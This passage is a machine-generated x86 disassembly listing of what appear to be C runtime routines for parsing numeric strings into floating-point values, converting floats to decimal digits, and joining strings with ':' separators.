		and	eax, 0FFh
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx


loc_438BF6:				; CODE XREF: sub_438500+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_438C27
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_438C22
		mov	[ebp+var_7C], 1451h
		jmp	short loc_438C27
; ---------------------------------------------------------------------------


loc_438C22:				; CODE XREF: sub_438500+717j
		jmp	loc_438BA3
; ---------------------------------------------------------------------------


loc_438C27:				; CODE XREF: sub_438500+6FDj
					; sub_438500+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_438C40
; ---------------------------------------------------------------------------


loc_438C2F:				; CODE XREF: sub_438500+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_438C40:				; CODE XREF: sub_438500+72Dj
		cmp	dword_4524F0, 1
		jle	short loc_438C65
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_438C82
; ---------------------------------------------------------------------------


loc_438C65:				; CODE XREF: sub_438500+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx


loc_438C82:				; CODE XREF: sub_438500+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_438C8D
		jmp	short loc_438C2F
; ---------------------------------------------------------------------------


loc_438C8D:				; CODE XREF: sub_438500+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_438D03
; ---------------------------------------------------------------------------


loc_438C9F:				; CODE XREF: sub_438500+D5j
					; DATA XREF: .XComp0:00438F46o
		cmp	[ebp+arg_18], 0
		jz	short loc_438CF3
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_438CDB
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_438CCB
		jmp	short loc_438CE4
; ---------------------------------------------------------------------------


loc_438CCB:				; CODE XREF: sub_438500+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_438CF1
; ---------------------------------------------------------------------------


loc_438CDB:				; CODE XREF: sub_438500+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_438CF1
; ---------------------------------------------------------------------------


loc_438CE4:				; CODE XREF: sub_438500+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_438CF1:				; CODE XREF: sub_438500+7D9j
					; sub_438500+7E2j
		jmp	short loc_438D03
; ---------------------------------------------------------------------------


loc_438CF3:				; CODE XREF: sub_438500+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_438D03:				; CODE XREF: sub_438500+CCj
					; sub_438500+D5j ...
		jmp	loc_4385A7
; ---------------------------------------------------------------------------


loc_438D08:				; CODE XREF: sub_438500+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_438E57
		cmp	[ebp+var_40], 0
		jnz	loc_438E57
		cmp	[ebp+var_78], 0
		jnz	loc_438E57
		cmp	[ebp+var_70], 18h
		jbe	short loc_438D5F
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_438D46
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl


loc_438D46:				; CODE XREF: sub_438500+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax


loc_438D5F:				; CODE XREF: sub_438500+832j
		cmp	[ebp+var_70], 0
		jbe	loc_438E3A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_438D7D
; ---------------------------------------------------------------------------


loc_438D74:				; CODE XREF: sub_438500+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx


loc_438D7D:				; CODE XREF: sub_438500+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_438D9B
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_438D74
; ---------------------------------------------------------------------------


loc_438D9B:				; CODE XREF: sub_438500+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4383C0
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_438DBD
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx


loc_438DBD:				; CODE XREF: sub_438500+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_438DD5
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax


loc_438DD5:				; CODE XREF: sub_438500+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_438DE4
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx


loc_438DE4:				; CODE XREF: sub_438500+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_438DF6
		mov	[ebp+var_40], 1
		jmp	short loc_438E38
; ---------------------------------------------------------------------------


loc_438DF6:				; CODE XREF: sub_438500+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_438E08
		mov	[ebp+var_78], 1
		jmp	short loc_438E38
; ---------------------------------------------------------------------------


loc_438E08:				; CODE XREF: sub_438500+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_43B690
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx


loc_438E38:				; CODE XREF: sub_438500+8F4j
					; sub_438500+906j
		jmp	short loc_438E57
; ---------------------------------------------------------------------------


loc_438E3A:				; CODE XREF: sub_438500+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx


loc_438E57:				; CODE XREF: sub_438500+814j
					; sub_438500+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_438E86
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_438EDD
; ---------------------------------------------------------------------------


loc_438E86:				; CODE XREF: sub_438500+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_438EB1
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_438EDD
; ---------------------------------------------------------------------------


loc_438EB1:				; CODE XREF: sub_438500+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_438EDD
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx


loc_438EDD:				; CODE XREF: sub_438500+984j
					; sub_438500+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_438500	endp

; ---------------------------------------------------------------------------
off_438F1A	dd offset loc_4385DC	; DATA XREF: sub_438500+D5r
		dd offset loc_43867A
		dd offset loc_438730
		dd offset loc_43879B
		dd offset loc_4388B3
		dd offset loc_4389E5
		dd offset loc_438A5B
		dd offset loc_438B40
		dd offset loc_438AE2
		dd offset loc_438B93
		dd offset loc_438D03
		dd offset loc_438C9F
off_438F4A	dd offset loc_438709	; DATA XREF: sub_438500+1F0r
		dd offset loc_4386F7
		dd offset loc_438700
		dd offset loc_43871B
byte_438F5A	db 0			; DATA XREF: sub_438500+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_438F95	dd offset loc_43888C	; DATA XREF: sub_438500+37Cr
		dd offset loc_438883
		dd offset loc_43889E
byte_438FA1	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_438500+376r
off_438FDC	dd offset loc_4389BE	; DATA XREF: sub_438500+4AEr
		dd offset loc_4389B5
		dd offset loc_4389D0
byte_438FE8	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_438500+4A8r
		db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_438500
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_4354B0
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_439078
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax


loc_439078:				; CODE XREF: .XComp0:0043906Ej
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439080	proc near		; CODE XREF: sub_435730+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43911E
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_439125
; ---------------------------------------------------------------------------


loc_43911E:				; CODE XREF: sub_439080+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h


loc_439125:				; CODE XREF: sub_439080+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_43916C
		cmp	[ebp+var_24], 0
		jnz	short loc_43916C
		cmp	[ebp+var_48], 0
		jnz	short loc_43916C
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_439592
; ---------------------------------------------------------------------------


loc_43916C:				; CODE XREF: sub_439080+B0j
					; sub_439080+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_439266
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_439198
		cmp	[ebp+var_48], 0
		jz	short loc_4391CC


loc_439198:				; CODE XREF: sub_439080+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_4391CC
		push	offset dword_43FE34
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_422580
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_439261
; ---------------------------------------------------------------------------


loc_4391CC:				; CODE XREF: sub_439080+116j
					; sub_439080+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_43920C
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_43920C
		cmp	[ebp+var_48], 0
		jnz	short loc_43920C
		push	offset dword_43FE2C
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_422580
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_439261
; ---------------------------------------------------------------------------


loc_43920C:				; CODE XREF: sub_439080+157j
					; sub_439080+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_43923F
		cmp	[ebp+var_48], 0
		jnz	short loc_43923F
		push	offset dword_43FE24
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_422580
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_439261
; ---------------------------------------------------------------------------


loc_43923F:				; CODE XREF: sub_439080+193j
					; sub_439080+199j
		push	offset dword_43FE1C
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_422580
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0


loc_439261:				; CODE XREF: sub_439080+147j
					; sub_439080+18Aj ...
		jmp	loc_43958F
; ---------------------------------------------------------------------------


loc_439266:				; CODE XREF: sub_439080+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_43B690
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_43933D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_43B250
		add	esp, 8


loc_43933D:				; CODE XREF: sub_439080+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_439391
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_439391
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_439592
; ---------------------------------------------------------------------------


loc_439391:				; CODE XREF: sub_439080+2CFj
					; sub_439080+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_43939E
		mov	[ebp+arg_C], 15h


loc_43939E:				; CODE XREF: sub_439080+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_4393C6
; ---------------------------------------------------------------------------


loc_4393BD:				; CODE XREF: sub_439080+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx


loc_4393C6:				; CODE XREF: sub_439080+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_4393DA
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_4382F0
		add	esp, 4
		jmp	short loc_4393BD
; ---------------------------------------------------------------------------


loc_4393DA:				; CODE XREF: sub_439080+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_43940C
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_4393F8
; ---------------------------------------------------------------------------


loc_4393EF:				; CODE XREF: sub_439080+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx


loc_4393F8:				; CODE XREF: sub_439080+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_43940C
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_438350
		add	esp, 4
		jmp	short loc_4393EF
; ---------------------------------------------------------------------------


loc_43940C:				; CODE XREF: sub_439080+35Ej
					; sub_439080+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_439429
; ---------------------------------------------------------------------------


loc_439420:				; CODE XREF: sub_439080+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx


loc_439429:				; CODE XREF: sub_439080+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_439495
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4382F0
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4382F0
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_438240
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4382F0
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_439420
; ---------------------------------------------------------------------------


loc_439495:				; CODE XREF: sub_439080+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_439513
		jmp	short loc_4394C3
; ---------------------------------------------------------------------------


loc_4394BA:				; CODE XREF: sub_439080+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4394C3:				; CODE XREF: sub_439080+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_4394E1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_4394E1
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_4394BA
; ---------------------------------------------------------------------------


loc_4394E1:				; CODE XREF: sub_439080+44Cj
					; sub_439080+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_439505
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax


loc_439505:				; CODE XREF: sub_439080+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_43956C
; ---------------------------------------------------------------------------


loc_439513:				; CODE XREF: sub_439080+436j
		jmp	short loc_43951E
; ---------------------------------------------------------------------------


loc_439515:				; CODE XREF: sub_439080+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_43951E:				; CODE XREF: sub_439080:loc_439513j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_439536
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_439536
		jmp	short loc_439515
; ---------------------------------------------------------------------------


loc_439536:				; CODE XREF: sub_439080+4A7j
					; sub_439080+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_43956C
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_439592
; ---------------------------------------------------------------------------


loc_43956C:				; CODE XREF: sub_439080+491j
					; sub_439080+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0


loc_43958F:				; CODE XREF: sub_439080:loc_439261j
		mov	eax, [ebp+var_58]


loc_439592:				; CODE XREF: sub_439080+E7j
					; sub_439080+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_439080	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_453318
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4395C8
; ---------------------------------------------------------------------------


loc_4395BF:				; CODE XREF: .XComp0:004395FFj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4395C8:				; CODE XREF: .XComp0:004395BDj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_439601
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4395BF
; ---------------------------------------------------------------------------


loc_439601:				; CODE XREF: .XComp0:004395CCj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41EDA0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4396B9
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_439635
; ---------------------------------------------------------------------------


loc_43962C:				; CODE XREF: .XComp0:004396A8j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_439635:				; CODE XREF: .XComp0:0043962Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4396AA
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43962C
